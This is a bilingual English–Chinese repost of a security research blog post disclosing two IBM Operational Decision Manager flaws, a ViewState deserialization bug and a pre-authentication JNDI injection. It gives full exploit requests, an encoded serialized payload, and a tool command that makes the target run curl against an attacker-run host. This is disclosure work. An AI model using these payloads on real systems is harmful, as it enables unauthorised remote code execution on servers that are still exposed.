In previous blogs, we’ve discussed some of the big players in the enterprise software space, but there is one that we have not mentioned before, that is – quite frankly – the heavy-weight champion of the world in terms of applications for large enterprises. With over a hundred years of experience, a founder and leader in the tech world, and weighing in at nearly a $170b US market cap – it’s IBM.
在之前的博客中,我们讨论了企业软件领域的一些重要参与者,但有一个我们之前没有提到过,那就是 – 坦率地说 – 在大型应用程序方面的世界重量级冠军企业。 IBM 拥有一百多年的经验,是科技界的创始人和领导者,美国市值接近 1700 亿美元。
Here at watchTowr, we’re not intimidated by the name (or tweets) – at the end of the day, code is code, and we’re no strangers to discovering vulnerabilities that bring applications to the ropes and knock them down for the count.
在 watchTowr,我们不会被名字(或推文)吓倒——归根结底,代码就是代码,我们对发现使应用程序陷入困境并彻底崩溃的漏洞并不陌生。 。
In today’s match-up, we’re looking at various versions(both old and new!) of IBM’s “Operational Decision Manager” (ODM). IBM ODM, as described by Big Blue themselves:
在今天的比赛中,我们将研究 IBM“运营决策管理器”(ODM) 的各种版本(新旧版本!)。 IBM ODM,正如蓝色巨人自己所描述的:
IBM Operational Decision Manager (ODM) is a powerful decision management platform that streamlines decision authoring and editing, with enterprise-grade features such as a traceability, simulation, versioning and auditing. IBM ODM helps organizations build precise decisions that help organizations increase efficiency, manage compliance, and improve operational agility.
IBM Operations Decision Manager (ODM) 是一个功能强大的决策管理平台,可简化决策编写和编辑,并具有可跟踪性、模拟、版本控制和审计等企业级功能。 IBM ODM 帮助组织制定精确的决策,从而帮助组织提高效率、管理合规性并提高运营敏捷性。
Powerful. Decisions. Streamline. Agility. Big words, from Big Blue.
强大的。决定。精简。敏捷。伟大的话语,来自蓝色巨人。
Booking The Fight 预订战斗
Getting ahold of IBM software is usually not easy; most of their products come with hefty price tags, even when looking at virtualized solutions in cloud marketplaces.
获得 IBM 软件通常并不容易。他们的大多数产品都带有高昂的价格标签,即使在云市场中查看虚拟化解决方案时也是如此。
However, in an uncharacteristic turn of events, IBM actually offers a friendly Docker environment for the IBM ODM product in question, ready and waiting for developers to spar with – check it out on DockerHub at https://hub.docker.com/r/ibmcom/odm.
然而,出乎意料的是,IBM 实际上为相关 IBM ODM 产品提供了一个友好的 Docker 环境,准备好等待开发人员与之较量 – 请在 DockerHub 上查看:https://hub.docker.com/r /ibmcom/odm。
When auditing an application like this, we like to do some pre-research into the application to observe how it has grown over time. We find that watching how a particular software package has evolved and mutated new features can be revealing and helpful in guiding us through what is otherwise ‘complex’.
在审核这样的应用程序时,我们喜欢对应用程序进行一些预研究,以观察它如何随着时间的推移而增长。我们发现,观察特定软件包如何演变和变异新功能可以揭示并有助于指导我们完成原本“复杂”的事情。
This is demonstrated previously in our OpenCMS blog. In this instance, it’s entirely possible, thankfully with Docker tags.
之前我们的 OpenCMS 博客对此进行了演示。在这种情况下,这是完全可能的,幸亏有了 Docker 标签。
So – let’s do some pre-fight research into ODM, and see how it has grown over the years, by booting up the earliest version available (8.9.2.0
, a six-year vintage):
因此,让我们对 ODM 进行一些战前研究,通过启动最早的可用版本( 8.9.2.0
,六年的版本)来了解它多年来的发展情况:
docker run -e LICENSE=accept -p 9060:9060 -p 9443:9443 -m 2048M --memory-reservation 2048M -e SAMPLE=true ibmcom/odm:8.9.2.0
Following the documentation from their Docker repository, we can instantly ascertain that the main web interfaces are exposed on the following ports and endpoints:
根据 Docker 存储库中的文档,我们可以立即确定主要 Web 界面在以下端口和端点上公开:
Component 成分 | URL | Username 用户名 | Password 密码 |
---|---|---|---|
http://localhost:9060/res | http://localhost:9060/res | odmAdmin 管理管理员 | odmAdmin 管理管理员 |
http://localhost:9060/DecisionService | http://localhost:9060/DecisionService | odmAdmin 管理管理员 | odmAdmin 管理管理员 |
http://localhost:9060/decisioncenter | http://localhost:9060/decisioncenter | odmAdmin 管理管理员 | odmAdmin 管理管理员 |
http://localhost:9060/DecisionRunner | http://localhost:9060/DecisionRunner | odmAdmin 管理管理员 | odmAdmin 管理管理员 |
Round 1: CVE-2024-22320, Java Deserialization… FIGHT!
第一轮:CVE-2024-22320,Java 反序列化……战斗!
When looking into an application as researchers, we can often be quick to start pulling apart its internals and filesystem.
作为研究人员研究应用程序时,我们通常可以很快开始分解其内部结构和文件系统。
However, it is also sometimes critical to simply browse the application, as if we were end-users, and take stock of what we see. When we do just this, navigating the service running on port 9060, we can see the typical file extension in use is .jsf
, which, for those unfamiliar, indicates the Java Faces Framework; this comes with its own set of historical vulnerabilities (for example, the ViewState
).
然而,有时简单地浏览应用程序(就像我们是最终用户一样)并评估我们所看到的内容也很重要。当我们这样做时,导航在端口 9060 上运行的服务,我们可以看到正在使用的典型文件扩展名是 .jsf
,对于那些不熟悉的人来说,它表示 Java Faces Framework;这有其自己的一组历史漏洞(例如, ViewState
)。
When logging into the administration panel and taking a peek at the resultant HTTP traffic, we can see in the response a string that should make any bug hunter shout ‘HADOUKEN’ from their desktop:
当登录管理面板并查看生成的 HTTP 流量时,我们可以在响应中看到一个字符串,该字符串应该会让任何 bug 猎人在桌面上大喊“HADOUKEN”:
"javax.faces.ViewState" value="rO0ABXVyABNbTGphdmEubGFuZy5PYmplY3Q7kM5YnxBzKWwCAAB4cAAAAAN0AAE0cHQAEy9wcm90ZWN0ZWQvaG9tZS5qc3A="
For the uninitiated, the prefix rO0ABXV
indicates an unencrypted Java Object. This is a well-documented characteristic of earlier versions of the Java Faces Framework. Should a user be able to supply their own value for this javax.faces.ViewState
parameter, then it is typically possible to achieve Remote Code Execution by exploiting deserialization routines with a malicious Java object.
对于外行来说,前缀 rO0ABXV
表示未加密的 Java 对象。这是 Java Faces Framework 早期版本的一个有据可查的特征。如果用户能够为此 javax.faces.ViewState
参数提供自己的值,那么通常可以通过利用恶意 Java 对象的反序列化例程来实现远程代码执行。
Before we get excited, though, we need to double-check our facts. First off, can this ViewState
be consumed pre-authenticated? Let’s try by hitting the login.jsf
endpoint to see:
不过,在我们兴奋之前,我们需要仔细检查我们的事实。首先,这个 ViewState
可以预先验证使用吗?让我们尝试点击 login.jsf
端点来查看:
GET /res/login.jsf?javax.faces.ViewState=watchTowr HTTP/1.1
Host: localhost:9060
The response shows it does! Happy day!
响应表明确实如此!快乐的一天!
HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP:
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:09:48 GMT
Content-Length: 84
Error 500: javax.servlet.ServletException: error while processing state : watchTowr
Fantastic, we’re making good progress with some opportunistic button-bashing (adding a ‘/’ there, a ‘;’ there, and see what we get :^) ).
太棒了,我们在一些机会主义的按钮攻击方面取得了良好的进展(在那里添加一个“/”,一个“;”,看看我们得到了什么:^))。
When looking at Java Deserialization, we have a few options available, such as creating a custom gadget chain that results in Remote Code Execution. First, though, it’s always worth checking the open-source project ysoserial
to see if we can use any known gadget chains and make things faster.
在查看 Java 反序列化时,我们有一些可用的选项,例如创建导致远程代码执行的自定义小工具链。不过,首先,检查开源项目 ysoserial
总是值得的,看看我们是否可以使用任何已知的小工具链并使事情变得更快。
A typical gadget chain that is present in almost all scenarios is the URLDNS
chain, which can be used to make an external DNS callback to our listening infrastructure. It does this by serializing a URLDNS
object, and setting the hashCode
member to -1, which has the effect of causing the hashCode
to be recomputed when the URLDNS
is compared with anything. In the process of computing the hashCode
, the URLDNS
object calls hashCode
on a URL
, which in turn causes the URL to be resolved and thus generates our DNS callback.
几乎所有场景中都存在的典型小工具链是 URLDNS
链,它可用于对我们的侦听基础设施进行外部 DNS 回调。它通过序列化 URLDNS
对象并将 hashCode
成员设置为 -1 来实现此目的,这会导致 hashCode
在 < b4> 与任何事物进行比较。在计算 hashCode
的过程中, URLDNS
对象调用 URL
上的 hashCode
,从而导致 URL 被解析从而生成我们的 DNS 回调。
The command to generate the payload from ysoserial
looks something like this:
从 ysoserial
生成有效负载的命令如下所示:
./java -jar ysoserial.jar URLDNS "<http://listening-host>" | base64
We can then URL-encode the object generated by ysoserial
and pass it in, like so:
然后我们可以对 ysoserial
生成的对象进行 URL 编码并将其传入,如下所示:
GET /res/login.jsf?javax.faces.ViewState=%72%4f%30%41%42%58%4e%79%41%42%46%71%59%58%5a%68%4c%6e%56%30%61%57%77%75%53%47%46%7a%61%45%31%68%63%41%55%48%32%73%48%44%46%6d%44%52%41%77%41%43%52%67%41%4b%62%47%39%68%5a%45%5a%68%59%33%52%76%63%6b%6b%41%43%58%52%6f%63%6d%56%7a%61%47%39%73%5a%48%68%77%50%30%41%41%41%41%41%41%41%41%78%33%43%41%41%41%41%42%41%41%41%41%41%42%63%33%49%41%44%47%70%68%64%6d%45%75%62%6d%56%30%4c%6c%56%53%54%4a%59%6c%4e%7a%59%61%2f%4f%52%79%41%77%41%48%53%51%41%49%61%47%46%7a%61%45%4e%76%5a%47%56%4a%41%41%52%77%62%33%4a%30%54%41%41%4a%59%58%56%30%61%47%39%79%61%58%52%35%64%41%41%53%54%47%70%68%64%6d%45%76%62%47%46%75%5a%79%39%54%64%48%4a%70%62%6d%63%37%54%41%41%45%5a%6d%6c%73%5a%58%45%41%66%67%41%44%54%41%41%45%61%47%39%7a%64%48%45%41%66%67%41%44%54%41%41%49%63%48%4a%76%64%47%39%6a%62%32%78%78%41%48%34%41%41%30%77%41%41%33%4a%6c%5a%6e%45%41%66%67%41%44%65%48%44%2f%2f%2f%2f%2f%2f%2f%2f%2f%2f%33%51%41%4c%47%6b%7a%62%58%59%32%5a%44%42%76%4d%57%70%78%4d%7a%56%70%64%54%67%79%5a%6a%63%79%5a%57%35%7a%5a%54%4d%31%4f%58%64%34%62%6d%78%6a%4c%6d%39%68%63%33%52%70%5a%6e%6b%75%59%32%39%74%64%41%41%41%63%51%42%2b%41%41%56%30%41%41%52%6f%64%48%52%77%63%48%68%30%41%44%4e%6f%64%48%52%77%4f%69%38%76%61%54%4e%74%64%6a%5a%6b%4d%47%38%78%61%6e%45%7a%4e%57%6c%31%4f%44%4a%6d%4e%7a%4a%6c%62%6e%4e%6c%4d%7a%55%35%64%33%68%75%62%47%4d%75%62%32%46%7a%64%47%6c%6d%65%53%35%6a%62%32%31%34 HTTP/1.1
Host: localhost:9060
We can see in the HTTP response that a chain has been called to java.util.HashMap
. Checking our DNS server logs (or using a canarytoken) confirms that interaction has taken place.
我们可以在 HTTP 响应中看到一条链已被调用到 java.util.HashMap
。检查我们的 DNS 服务器日志(或使用金丝雀令牌)确认已发生交互。
HTTP/1.1 500 Internal Server Error
X-Powered-By: Servlet/3.1
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Content-Type: text/html;charset=ISO-8859-1
$WSEP:
Content-Language: en-US
Connection: Close
Date: Mon, 19 Feb 2024 03:16:40 GMT
Content-Length: 103
Error 500: javax.servlet.ServletException: java.util.HashMap incompatible with [Ljava.lang.Object;
We spent some time looking at publicly available gadget chains included with ysoserial
(and beyond), but none could get us past the finishing line to RCE. A custom chain is required to exploit this issue, which is unfortunately outside the scope of this blog post.
我们花了一些时间研究 ysoserial
(及其他)中包含的公开可用的小工具链,但没有一个可以让我们越过 RCE 的终点线。需要自定义链来利用此问题,不幸的是,这超出了本博客文章的范围。
This Java Faces deserialization issue wasn’t raised, or disclosed previously for ODM, so we contacted IBM, who assigned this a whopping 9.8 and CVE-2024-22320. Phwoar!
这个 Java Faces 反序列化问题之前并未针对 ODM 提出或披露过,因此我们联系了 IBM,后者为此分配了高达 9.8 的评分和 CVE-2024-22320。噗!
Editors note: The character to CVSS score ratio here is ‘no bueno’.
编者注:这里的角色与 CVSS 分数的比率是“no bueno”。
Round 2: CVE-2024-22319, JNDI Injection… FIGHT
第二轮:CVE-2024-22319、JNDI 注入……战斗
Having proved ourselves against historical releases of ODM, it’s time to look ahead. We wanted a zero-day in the latest version of ODM. Let’s load up the main event, version 8.12
:
在通过 ODM 的历史版本证明了自己之后,是时候展望未来了。我们希望在最新版本的 ODM 中实现零日漏洞。让我们加载主事件,版本 8.12
:
docker run -e LICENSE=accept -p 9060:9060 -p 9445:9443 -m 2048M --memory-reservation 2048M -e SAMPLE=true ibmcom/odm:8.12
From a quick look around, we can see the Java Faces dependency has been upgraded to myfaces-impl-1.1.10.jar
. In this version, the ViewState is encrypted by default, so by chance of a dependency update, IBM has been saved from CVE-2024-22320.
快速浏览一下,我们可以看到 Java Faces 依赖项已升级为 myfaces-impl-1.1.10.jar
。在此版本中,ViewState 默认情况下是加密的,因此通过依赖项更新,IBM 已从 CVE-2024-22320 中解救出来。
Undeterred, let’s keep going: looking through the filesystem, we can see several .war
files and the associated resources for various applications.
不要被吓倒,让我们继续:查看文件系统,我们可以看到几个 .war
文件以及各种应用程序的相关资源。
/opt/ibm/wlp/usr/servers/defaultServer/apps/DecisionService.war |
---|
/opt/ibm/wlp/usr/servers/defaultServer/apps/DecisionRunner.war |
/opt/ibm/wlp/usr/servers/defaultServer/apps/decisioncenter.war |
/opt/ibm/wlp/usr/servers/defaultServer/apps/decisioncenter-api.war |
/opt/ibm/wlp/usr/servers/defaultServer/apps/odm-loan-server-1.0.war |
/opt/ibm/wlp/usr/servers/defaultServer/apps/res.war |
/opt/ibm/wlp/usr/servers/defaultServer/apps/welcomepage.war |
Most seem to be servlets which create web.xml
files for mapping purposes using the <url-pattern>
tags. The only one that doesn’t follow this pattern is decisioncenter-api.war
, which appears to be a REST API.
大多数似乎是使用 <url-pattern>
标记创建 web.xml
文件用于映射目的的 servlet。唯一不遵循此模式的是 decisioncenter-api.war
,它似乎是一个 REST API。
When navigating to this endpoint via a web browser, a Swagger document is available, giving us juicy details about various API’s available.
当通过 Web 浏览器导航到此端点时,可以使用 Swagger 文档,为我们提供有关各种可用 API 的有趣详细信息。
Regrettably, all APIs except one appear to require authentication, and so aren’t relevant for our goal of pre-authenticated RCE (at this stage). The lone exception is the “About” API. But how much damage could the “About” API possibly cause..? Well, let’s take a look at the API.
遗憾的是,除了一个 API 之外,所有 API 似乎都需要身份验证,因此与我们的预身份验证 RCE 目标(现阶段)无关。唯一的例外是“关于”API。但是“About”API 可能会造成多大的损害呢?好吧,让我们看一下 API。
Looking at this, your eyes should keenly zero in on something suspicious. That’s right! Does the ‘About’ API take in a parameter for a JNDI object? (and why would an ‘About’ API require this functionality?! We’ll leave that question to the philosophers – and the Twitter warriors).
看到这个,你的眼睛应该敏锐地瞄准可疑的东西。这是正确的! “About”API 是否接受 JNDI 对象的参数? (为什么“关于”API 需要此功能?!我们将把这个问题留给哲学家和 Twitter 战士)。
For those new to the concept of JNDI, it stands for “Java Naming and Directory Interface.” Fret not, we hopped on the AI bandwagon and asked ChatGPT to explain JNDI for us:
对于那些刚接触 JNDI 概念的人来说,它代表“Java 命名和目录接口”。不用担心,我们跟随 AI 潮流并要求 ChatGPT 为我们解释 JNDI:
Imagine you’re in a vast library and want to find a particular book. You know the book’s title but need to know its location. So, what do you do? You ask the librarian.
想象一下,您在一个巨大的图书馆中,想要查找一本特定的书。您知道书名,但需要知道它的位置。所以你会怎么做?你问图书管理员。
In the world of Java programming, JNDI is like that librarian. It helps you find and access resources like databases, services, or objects in a Java environment without knowing exactly where they are located or how they are implemented.
在 Java 编程世界中,JNDI 就像那个图书管理员。它可以帮助您在 Java 环境中查找和访问数据库、服务或对象等资源,而无需确切知道它们的位置或实现方式。
Here’s how it works:Naming: JNDI provides a way to name these resources, just like each book in the library has a unique title. These names are organized hierarchically, similar to how books are categorized by genres, authors, or topics in the library.Directory: Think of JNDI as a directory system in the library. To locate a book, consult the directory. Similarly, when your Java program needs to access a resource, it consults JNDI to discover the resource by its name.Interface: JNDI provides a set of Java interfaces and classes your program can use to interact with the naming and directory services. These interfaces define methods for looking up, adding, updating, and removing resources.
它的工作原理如下: 命名:JNDI 提供了一种命名这些资源的方法,就像图书馆中的每本书都有一个唯一的标题一样。这些名称按层次结构组织,类似于图书馆中按类型、作者或主题对书籍进行分类的方式。目录:将 JNDI 视为图书馆中的目录系统。要查找书籍,请查阅目录。同样,当您的 Java 程序需要访问资源时,它会查询 JNDI 以通过名称发现资源。 接口:JNDI 提供一组 Java 接口和类,您的程序可以使用它们与命名和目录服务进行交互。这些接口定义了查找、添加、更新和删除资源的方法。
In summary, JNDI is like a helpful librarian in a vast library of resources, assisting your Java programs in finding and accessing the resources they need without you having to worry about their exact locations or implementations.
总之,JNDI 就像一个庞大资源库中的有用的图书管理员,帮助您的 Java 程序查找和访问它们所需的资源,而无需担心它们的确切位置或实现。
Thanks, ChatGPT! It seems that JNDI is some kind of Java-based librarian.
谢谢,ChatGPT! JNDI 似乎是某种基于 Java 的图书馆员。
So now that’s a bit clearer, you might be asking why this is useful for us in our quest to impact the killer blow. Well, time for some more history – several years ago (in 2016, to be precise), some very clever researchers (Alvaro Muñoz and Oleksandr Mirosh) looked into a then-new vulnerability class, ‘JNDI Injection’, and found some very interesting behaviour.
现在这有点清楚了,您可能会问为什么这对我们寻求致命一击很有用。好吧,是时候了解更多历史了 – 几年前(准确地说是 2016 年),一些非常聪明的研究人员(Alvaro Muñoz 和 Oleksandr Mirosh)研究了当时新的漏洞类别“JNDI 注入”,并发现了一些非常有趣的漏洞行为。
They noted that, when a JNDI lookup takes place, code flow typically passes through a Context.lookup
function. Code to perform a lookup might look something similar to the following:
他们指出,当进行 JNDI 查找时,代码流通常会经过 Context.lookup
函数。执行查找的代码可能类似于以下内容:
public class JNDILookupExample {
public static void main(String[] args) {
try {
// Create a JNDI initial context. This is like connecting to the library.
Context ctx = new InitialContext();
// Specify the name of the resource you want to look up.
String resourceName = "java:/comp/env/jdbc/myDB";
// Perform the lookup. This is like asking the librarian for a specific book.
Object resource = ctx.lookup(resourceName);
// Use the resource in your application.
System.out.println("Resource found: " + resource);
// Close the context when you're done.
ctx.close();
} catch (NamingException e) {
// Handle any naming exception that might occur.
e.printStackTrace();
}
}
}
Critically, they found that once a user has access to the parameter that controls the resourceName
passed to the lookup()
function, it’s possible to reference other registered Java Objects, opening up a gateway to RCE.
重要的是,他们发现一旦用户有权访问控制传递给 lookup()
函数的 resourceName
的参数,就可以引用其他已注册的 Java 对象,从而打开 RCE 的网关。
The researchers mentioned that it is possible to do this via two different protocols – specifically, the rmi://
and ldap://
protocols. These two protocols host Java Objects, which can be deserialized by the fetching server, resulting in Remote Code Execution.
研究人员提到,可以通过两种不同的协议来做到这一点 – 具体来说, rmi://
和 ldap://
协议。这两个协议托管 Java 对象,这些对象可以由获取服务器反序列化,从而实现远程代码执行。
To test if it’s possible to reach the all-important lookup()
function remotely, we can use one of these two protocol handlers, pointing the request to our external listening infrastructure (for example, a DNS canary token) and observe any callbacks:
为了测试是否可以远程访问最重要的 lookup()
功能,我们可以使用这两个协议处理程序之一,将请求指向我们的外部侦听基础设施(例如,DNS 金丝雀令牌)并观察任何回调:
GET /decisioncenter-api/v1/about?datasource=ldap://external-host HTTP/1.1
Host: localhost:9060
Taking a look through the docker logs confirms that a lookup has taken place (and failed):
查看 docker 日志可确认已进行查找(但失败):
2024-02-19 14:18:17 [ERROR ] Error while connecting to the Decision Center backend: Could not lookup datasource named 'ldap://external-host'
2024-02-19 14:18:17 Could not lookup datasource named 'ldap://external-host'
An excellent level of detail went into the original research, and it would be of no real benefit to duplicate it here, so curious readers are encouraged to read the BlackHat presentation https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf.
原始研究的细节非常丰富,在这里复制它并没有真正的好处,因此鼓励好奇的读者阅读 BlackHat 演示文稿 https://www.blackhat.com/docs/us-16/材料/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf。
While the researchers point out that exploitation via RMI is typically not possible as a Security Manager is enabled by default, this is usually not the case when abusing the LDAP protocol. There is a clear path to the fabled RCE.
虽然研究人员指出,由于默认情况下启用了安全管理器,因此通过 RMI 进行利用通常是不可能的,但滥用 LDAP 协议时通常不会出现这种情况。传说中的 RCE 有一条明确的路径。
Our planned exploitation sequence is as follows:
我们计划的利用顺序如下:
- We send a malicious LDAP-URI to ODM, referencing an LDAP server we control
我们向 ODM 发送恶意 LDAP-URI,引用我们控制的 LDAP 服务器 - ODM processes the LDAP request, which finds its way into an
InitialContext.lookup()
call
ODM 处理 LDAP 请求,该请求进入InitialContext.lookup()
调用 - Our malicious LDAP server responds with an LDAP object containing a serialized java object
我们的恶意 LDAP 服务器使用包含序列化 java 对象的 LDAP 对象进行响应 - ODM deserializes the object chain garnered from our LDAP server
ODM 反序列化从 LDAP 服务器获取的对象链 - Ding-Ding-Ding! RCE! 叮叮叮! RCE!
Hosting our own LDAP server sounds like a tedious exercise, but thankfully, there’s an open-source project that does precisely what we want – https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.
托管我们自己的 LDAP 服务器听起来像是一项乏味的工作,但幸运的是,有一个开源项目可以完全满足我们的需求 – https://github.com/cckuailong/JNDI-Injection-Exploit-Plus。
We found that some experimentation was needed to find a gadget chain that satisfies the current classpath and avoids security mechanisms. After a little bit of experimentation, we found several gadget chains that worked, including the Jackson XML gadget chain, which we’ll use for demonstration.
我们发现需要进行一些实验才能找到满足当前类路径并避免安全机制的小工具链。经过一些实验后,我们发现了几个有效的小工具链,包括我们将用于演示的 Jackson XML 小工具链。
To validate that RCE is possible, we need the following resources set up:
为了验证 RCE 是否可行,我们需要设置以下资源:
- Server A, running IBM ODM
服务器 A,运行 IBM ODM - Server B, running an HTTP listening server
服务器B,运行HTTP监听服务器 - Server C, running JNDI-Injection-Exploit-Plus
服务器 C,运行 JNDI-Injection-Exploit-Plus
On server C, we start the tool with the following command, which starts the LDAP server up:
在服务器 C 上,我们使用以下命令启动该工具,这将启动 LDAP 服务器:
java -jar JNDI-Injection-Exploit-Plus-2.2-SNAPSHOT-all.jar -C "curl http://<Server B IP Address>" -A "<Server C IP Address>"
And then we send the following request to Server A, which is happily running an instance of IBM.
然后我们将以下请求发送到服务器 A,该服务器正在愉快地运行 IBM 实例。
GET /decisioncenter-api/v1/about?datasource=ldap://<Server C IP Address>:1389/deserialJackson HTTP/1.1
Host: localhost:9060
Our sequence of events fires perfectly – the LDAP server is queried and serves a malicious serialised blob, which is then deserialized, causing the curl
command to be executed. Finally, we see a HTTP callback will on Server B:
我们的事件序列完美触发 – LDAP 服务器被查询并提供恶意序列化 blob,然后反序列化,导致执行 curl
命令。最后,我们在服务器 B 上看到 HTTP 回调:
GET / HTTP/1.1
Host: ServerB
Accept: */*
User-Agent: curl/7.61.1
The Docker logs on Server A contain an error message, confirming that the deserialization has taken place.
服务器 A 上的 Docker 日志包含一条错误消息,确认已发生反序列化。
2024-02-19 14:40:43 [ERROR ] Error while connecting to the Decision Center backend: com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
2024-02-19 14:40:43 com.fasterxml.jackson.databind.JsonMappingException: (was java.lang.NullPointerException) (through reference chain: com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl["outputProperties"])
With some code analysis, we were able to narrow down the code block which causes this lookup to take place, deep within the depths of ilog.rules.teamserver.ejb.service.dao.IlrElementDAOFactory
.
通过一些代码分析,我们能够缩小导致此查找发生的代码块的范围,深入 ilog.rules.teamserver.ejb.service.dao.IlrElementDAOFactory
的深处。
The HTTP request parameter datasource
is fed into a variable lookupName
, and then this is passed to the all-important lookup()
function for a JNDI context ctx
without any further validation.
HTTP 请求参数 datasource
被输入到变量 lookupName
中,然后将其传递给 JNDI 上下文 ctx
函数。 /b3> 无需任何进一步验证。
public class IlrElementDAOFactory {
private static Map<String, IlrElementDAO> daoMap = new HashMap<>();
private static SnapshotCleanupService snapshotCleanup;
public static IlrElementDAO getInstance(String dataSourceName) throws IlrDataSourceException {
IlrElementDAO dao = daoMap.get(dataSourceName);
if (dao == null) {
DataSource dataSource;
InitialContext ctx = null;
String lookupName = dataSourceName;
try {
ctx = new InitialContext();
lookupName = "java:comp/env/" + dataSourceName;
dataSource = (DataSource)ctx.lookup(lookupName);
ctx.close();
} catch (NamingException e) {
if (ctx == null)
throw new IlrDataSourceException(dataSourceName, e);
try {
lookupName = dataSourceName;
dataSource = (DataSource)ctx.lookup(lookupName);
ctx.close();
} catch (NamingException e2) {
try {
lookupName = "java:/" + dataSourceName;
dataSource = (DataSource)ctx.lookup(lookupName);
ctx.close();
} catch (NamingException e3) {
throw new IlrDataSourceException(dataSourceName, e);
}
}
}
dao = buildNewDAO(dataSource, dataSourceName.intern());
daoMap.put(dataSourceName, dao);
}
if (snapshotCleanup != null && !dao.isRegisteredForSnapshotCleanup()) {
dao.setRegisteredForSnapshotCleanup(true);
snapshotCleanup.addDatasource(dataSourceName);
}
return dao;
}
Post Fight Interview 赛后采访
Having knocked out ODM a second time, we contacted IBM once again, who promptly assigned CVE-2024-22319 with a CVSS of 8.1 – that’s right, a pre-authenticated Remote Code Execution classified as ‘High’, and not the ‘Critical’ we were hoping for 🤡.
第二次击败 ODM 后,我们再次联系 IBM,IBM 立即分配了 CVE-2024-22319,CVSS 为 8.1 – 没错,这是一个预先身份验证的远程代码执行,被分类为“高”,而不是“严重”我们希望🤡。
Perhaps this post is enough to prove exploitability.
也许这篇文章足以证明可利用性。
Conclusion 结论
Great news – IBM released an advisory for all versions of ODM, which can be found here – https://www.ibm.com/support/pages/node/7112382?_ga=2.244854796.861635083.1708325068-554310897.1684384757.
好消息 – IBM 发布了针对所有版本 ODM 的公告,可以在此处找到该公告 – https://www.ibm.com/support/pages/node/7112382?_ga=2.244854796.861635083.1708325068-554310897.1684384757。
If anyone asks enough, IBM may also provide SIGMA rules – fingers crossed!
如果有人要求足够多,IBM 还可能提供 SIGMA 规则 – 祈祷吧!
As part of our comms with IBM, they also confirmed the following product versions were affected:
作为我们与 IBM 沟通的一部分,他们还确认以下产品版本受到影响:
Affected Product(s) 受影响的产品 | Version(s) 版本 |
---|---|
IBM Operational Decision Manager IBM 运营决策管理器 |
8.10.3 |
IBM Operational Decision Manager IBM 运营决策管理器 |
8.10.4 |
IBM Operational Decision Manager IBM 运营决策管理器 |
8.10.5.1 |
IBM Operational Decision Manager IBM 运营决策管理器 |
8.11.0.1 |
IBM Operational Decision Manager IBM 运营决策管理器 |
8.11.1 |
IBM Operational Decision Manager IBM 运营决策管理器 |
8.12.0.1 |
Hopefully, this post has shown you how fun Java deserialization bugs can be, and just how devastating they can be when circumstance aligns and a full RCE chain is possible.
希望这篇文章向您展示了 Java 反序列化错误有多么有趣,以及当情况一致且完整的 RCE 链成为可能时,它们可能具有多么严重的破坏性。
As researchers, we’re big fans of this bug class as it seems to pop up in unexpected places, and because it lends itself to such clean exploitation once a chain is found.
作为研究人员,我们是此类 bug 的忠实粉丝,因为它似乎会出现在意想不到的地方,而且一旦发现一条链,它就适合如此干净的利用。
At watchTowr, we believe continuous security testing is the future, enabling the rapid identification of holistic high-impact vulnerabilities that affect your organisation.
在 watchTowr,我们相信持续的安全测试是未来的趋势,能够快速识别影响您组织的整体高影响力漏洞。
It’s our job to understand how emerging threats, vulnerabilities, and TTPs affect your organisation.
我们的工作是了解新出现的威胁、漏洞和 TTP 如何影响您的组织。
If you’d like to learn more about the watchTowr Platform, our Attack Surface Management and Continuous Automated Red Teaming solution, please get in touch.
如果您想了解有关 watchTowr 平台、我们的攻击面管理和持续自动化红队解决方案的更多信息,请联系我们。
Timeline 时间线
Date 日期 | Detail 细节 |
---|---|
3rd January 2024 2024 年 1 月 3 日 | Vulnerability discovered 发现漏洞 |
3rd January 2024 2024 年 1 月 3 日 | watchTowr hunts through client’s attack surfaces for impacted systems, and communicates with those affected watchTowr 在客户端的攻击面中寻找受影响的系统,并与受影响的系统进行通信 |
4th January 2024 2024 年 1 月 4 日 | Vulnerabilities disclosed to IBM PSIRT 向 IBM PSIRT 披露的漏洞 |
4th January 2024 2024 年 1 月 4 日 | IBM responds and assigned the internal tracking references “ADV0107631, ADV0107556” IBM 做出回应并分配了内部跟踪参考号“ADV0107631、ADV0107556” |
29th January 2024 2024 年 1 月 29 日 | IBM issues a security advisory and assigns the identifiers CVE-2024-22319 and CVE-2024-22320 – https://www.ibm.com/support/pages/node/7112382 IBM 发布安全公告并分配标识符 CVE-2024-22319 和 CVE-2024-22320 – https://www.ibm.com/support/pages/node/7112382 |
22nd February 2024 2024 年 2 月 22 日 | Blogpost and PoC released to public 向公众发布博客文章和 PoC |
原文始发于SONNY:“To live is to fight, to fight is to live! – IBM ODM Remote Code Execution
转载请注明:“To live is to fight, to fight is to live! – IBM ODM Remote Code Execution | CTF导航